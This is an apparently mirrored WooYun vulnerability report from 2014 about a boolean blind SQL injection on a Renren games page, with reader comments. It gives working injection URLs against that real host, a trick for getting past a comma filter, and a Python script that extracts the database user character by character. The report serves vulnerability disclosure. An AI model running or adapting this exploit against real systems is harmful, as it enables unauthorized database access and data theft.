人人网某站root权限盲注（附利用技巧）

**Title:** 人人网某站root权限盲注（附利用技巧）

**Content:**

**漏洞概要**

缺陷编号： [**WooYun-2014-78099**](http://10.199.252.80:8080/bugs/wooyun-2014-078099)

漏洞标题： 人人网某站root权限盲注（附利用技巧）

相关厂商： [**人人网**](http://www.wooyun.org/corps/%E4%BA%BA%E4%BA%BA%E7%BD%91)

漏洞作者： [**feng**](http://www.wooyun.org/whitehats/feng)

提交时间： 2014-10-02 09:55

公开时间： 2014-11-16 09:56

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 15

漏洞状态： 厂商已经确认

漏洞来源： [**http://www.wooyun.org**](http://www.wooyun.org/)

Tags标签： [**Mysql**](http://10.199.252.80:8080/tags/Mysql) [**注射技巧**](http://10.199.252.80:8080/tags/%E6%B3%A8%E5%B0%84%E6%8A%80%E5%B7%A7)

**6**人收藏 [收藏](javascript:void(0))

分享漏洞：

C:\867B5745\08D30B04-7C25-4055-AC54-F966B18AF549.files\image001.jpg

**漏洞详情**

披露状态：

2014-10-02： 细节已通知厂商并且等待厂商处理中

2014-10-02： 厂商已经确认，细节仅向厂商公开

2014-10-12： 细节向核心白帽子及相关领域专家公开

2014-10-22： 细节向普通白帽子公开

2014-11-01： 细节向实习白帽子公开

2014-11-16： 细节向公众公开

简要描述：

人人网某站root权限盲注，附利用技巧

详细说明：

漏洞页面 <http://app.games.renren.com/tags.php?tag=航海之王> 为bool型盲注 <http://app.games.renren.com/tags.php?tag=航海之王>' and ''=' 与 <http://app.games.renren.com/tags.php?tag=航海之王>' and '1'=' 页面不同

漏洞证明：

经分析，过滤了, < > 给我们的利用带来了一定的难度。

主要是在利用substr(user(),1,1)的时候会出现问题。

这里有一个小技巧，以上的语句等价于substr(user() from 1 for 1)，绕过了逗号，就可以继续注入了。

手工太浪费时间，写一个python脚本自己去跑吧

**code 区域**

# -\*- coding: utf-8 -\*-

import urllib2

import re

pattern = re.compile(r'2012-09-06')#此处是关键字

for count in range(1,100):

for character in range(0,128):

payload = 'user()'

request = urllib2.Request('http://app.games.renren.com/tags.php?tag=%E8%88%AA%E6%B5%B7%E4%B9%8B%E7%8E%8B%27%20and%20ascii%28substr%28' + payload + '%20from%20' + str(count) +'%20for%201%29%29=' + str(character) + '%23')

request.add\_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0')

response = urllib2.urlopen(request)

#print character,

match = pattern.search(response.read())

if match:

if character == 0:

exit(0)

else:

print '%d --- %s' % (count, chr(character))

#print match.group()

break

结果如下：



修复方案：

再过滤吧

版权声明：转载请注明来源 [feng](http://www.wooyun.org/whitehats/feng)@[乌云](http://www.wooyun.org/bugs/wooyun-2010-078099)

**漏洞回应**

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2014-10-02 23:02

厂商回复：

谢谢大牛冯....

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

**漏洞评价(共0人评价):**

登陆后才能进行评分

**评论**

1. 2014-10-02 11:36 | [insight-labs](http://www.wooyun.org/whitehats/insight-labs)

认证白帽子

( 核心白帽子 | Rank:627 漏洞数:76 | Security guys)  
0  
冯大辉都转行做安全了啊  
1#

1. 2014-10-02 12:01 | [Coody](http://www.wooyun.org/whitehats/Coody)

认证白帽子

( 核心白帽子 | Rank:1633 漏洞数:194 | 不接单、不黑产；如遇接单收徒、绝非本人所...)  
0  
冯大辉都转行做安全了啊  
2#

1. 2014-10-02 13:29 | [进击的zjx](http://www.wooyun.org/whitehats/%E8%BF%9B%E5%87%BB%E7%9A%84zjx) ( 普通白帽子 | Rank:306 漏洞数:64 | 工作需要，暂别一段时间)  
   0  
   原来大牛你叫冯大辉！华为加班也不让人人网消停！专挑节假日发！  
   3#
2. 2014-10-02 14:05 | [专业种田](http://www.wooyun.org/whitehats/%E4%B8%93%E4%B8%9A%E7%A7%8D%E7%94%B0)

认证白帽子

( 核心白帽子 | Rank:1444 漏洞数:184 | 没有最专业的农民,只有更努力地耕耘..........)  
0  
我是冲着技巧来的!  
4#

1. 2014-10-02 16:33 | [茜茜公主](http://www.wooyun.org/whitehats/%E8%8C%9C%E8%8C%9C%E5%85%AC%E4%B8%BB) ( 普通白帽子 | Rank:2385 漏洞数:410 | 家里二宝出生，这几个月忙着把屎把尿...忒...)  
   0  
   我也是来学技巧的  
   5#
2. 2014-10-02 16:54 | [安然意境](http://www.wooyun.org/whitehats/%E5%AE%89%E7%84%B6%E6%84%8F%E5%A2%83) ( 普通白帽子 | Rank:192 漏洞数:81 | 无论是你的事业还是你的个人，可能走的过程...)  
   0  
   为什么不叫fenng呢？  
   6#
3. 2014-10-02 19:46 | [Zombiecc](http://www.wooyun.org/whitehats/Zombiecc) ( 路人 | Rank:0 漏洞数:2 | just for fun.)  
   0  
   就是为了技巧来的  
   7#
4. 2014-10-02 21:01 | [老笨蛋](http://www.wooyun.org/whitehats/%E8%80%81%E7%AC%A8%E8%9B%8B) ( 路人 | Rank:29 漏洞数:8 | 老笨蛋一个)  
   0  
   围观大牛冯。  
   8#
5. 2014-10-03 08:51 | [围剿](http://www.wooyun.org/whitehats/%E5%9B%B4%E5%89%BF) ( 路人 | Rank:17 漏洞数:5 | Evil decimal)  
   0  
   为什么不叫fenng呢？  
   9#